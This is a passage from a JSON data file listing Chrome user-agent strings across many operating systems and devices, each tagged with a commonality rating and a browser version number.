Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.113 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.43 Safari\\/537.31\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.1.2; GT-S7262 Build\\/JZO54K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/37.0.2062.120 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; LGMS330 Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.89 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; LG-D415 Build\\/KOT49I.D41510c) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.1599.103 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.157 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.98 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.11 (KHTML, like Gecko) Chrome\\/23.0.1271.95 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.91 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; LG-V410 Build\\/KOT49I.V41010d) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.1599.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.1.1; SM-N950U Build\\/NMF26X) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.79 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.2.2; en-us; SAMSUNG SPH-L720 Build\\/JDQ39) AppleWebKit\\/535.19 (KHTML, like Gecko) Version\\/1.0 Chrome\\/18.0.1025.308 Mobile Safari\\/535.19\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0_2 like Mac OS X) AppleWebKit\\/601.1 (KHTML, like Gecko) CriOS\\/53.0.2785.109 Mobile\\/14A456 Safari\\/601.1.46\"},{\"commonality\":\"Average\",\"version\":\"25.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.1.0.0 Safari\\/537.22\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.43 Safari\\/537.31\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; LGL16C\\/V100 Build\\/KOT49I.L16CV11a) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/34.0.1847.118 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (en-US) AppleWebKit\\/537.36 (KHTML, like Gecko; Hound) Chrome\\/41.0.2272.118 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-ca; SGH-I337M Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.146 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.56 Safari\\/537.17\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.1; Galaxy Nexus Build\\/JRN84D) AppleWebKit\\/535.19 (KHTML, like Gecko) Chrome\\/18.0.1025.166 Mobile Safari\\/535.19\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; SM-G900F Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; SM-G550T1 Build\\/MMB29K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.91 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/28.0.1469.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.124 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.221 Safari\\/537.36 SE 2.X MetaSr 1.0\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.64 Safari\\/537.31\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.104 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/535.19 (KHTML, like Gecko) Chrome\\/18.0.1025.162 Safari\\/535.19\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; LGLS770 Build\\/MRA58K) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/38.0.2125.102 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/27.0.1453.90 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; LG-V410\\/V41010d Build\\/KOT49I.V41010d) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.1599.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/35.0.1916.114 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; SM-J327P Build\\/MMB29M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.11 (KHTML, like Gecko) Chrome\\/23.0.1271.97 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-P600 Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; SM-J210F Build\\/MMB29Q) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.98 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.89 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.108 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.11 (KHTML, like Gecko) Chrome\\/23.0.1271.97 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.162 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.21 Safari\\/537.36 MMS\\/1.0.2531.0\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; LGL62VL Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/38.0.2125.102 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Focus\\/1.1.2 Chrome\\/55.0.2883.91 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; Coolpad 3623A Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.125 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit\\/534.30 (KHTML, like Gecko) Chrome\\/12.0.742.91 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0.2; LG-D415 Build\\/LRX22G) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/34.0.1847.118 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; LGMP260 Build\\/NRD90U) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.83 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.89 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.65 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"=Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit\\/534.16 (KHTML, like Gecko) Chrome\\/10.0.648.204 Safari\\/534.16\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 9592.94.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.114 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; ASUS_T00I Build\\/KVT49L) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; SM-G360T1 Build\\/LMY47X) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.89 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; LGMS210 Build\\/NRD90U) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.137 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.59 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; VS425PP Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.89 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/535.19 (KHTML, like Gecko) Chrome\\/18.0.1025.168 Safari\\/535.19\"},{\"commonality\":\"Average\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/535.7 (KHTML, like Gecko) Chrome\\/16.0.912.36 Safari\\/535.7\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; XDS-1078 Build\\/HAWK) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; LG-D850\\/D85010f Build\\/KVT49L.D85010f) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.1599.103 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.124 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.2.2; en-us; SAMSUNG-SGH-I337 Build\\/JDQ39) AppleWebKit\\/535.19 (KHTML, like Gecko) Version\\/1.0 Chrome\\/18.0.1025.308 Mobile Safari\\/535.19\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; Z981 Build\\/MMB29M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.84 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/535.11 (KHTML, like Gecko) Chrome\\/17.0.963.56 Safari\\/535.11\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; SM-G920V Build\\/MMB29K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.98 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/34.0.1847.132 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; HUAWEI NXT-AL10 Build\\/HUAWEINXT-AL10) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.107 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1364.172 Safari\\/537.22\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N900P Build\\/KTU84P) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.146 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"'mozilla\\/5.0 (Linux; Android 6.0.1; Nexus 5x build\\/mtc19t applewebkit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2702.81 Mobile Safari\\/537.36'\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.89 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit 537.36 (KHTML, like Gecko) Chrome\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; SM-J327T1 Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0_3 like Mac OS X) AppleWebKit\\/604.1.34 (KHTML, like Gecko) CriOS\\/62.0.3202.70 Mobile\\/15A432 Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.82 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/536.11 (KHTML, like Gecko) Chrome\\/20.0.1132.47 Safari\\/536.11\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/34.0.1847.137 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.108 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.1 (KHTML, like Gecko) Chrome\\/21.0.1180.89 Safari\\/537.1\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.4; N817 Build\\/KTU84P) AppleWebKit\\/537.36 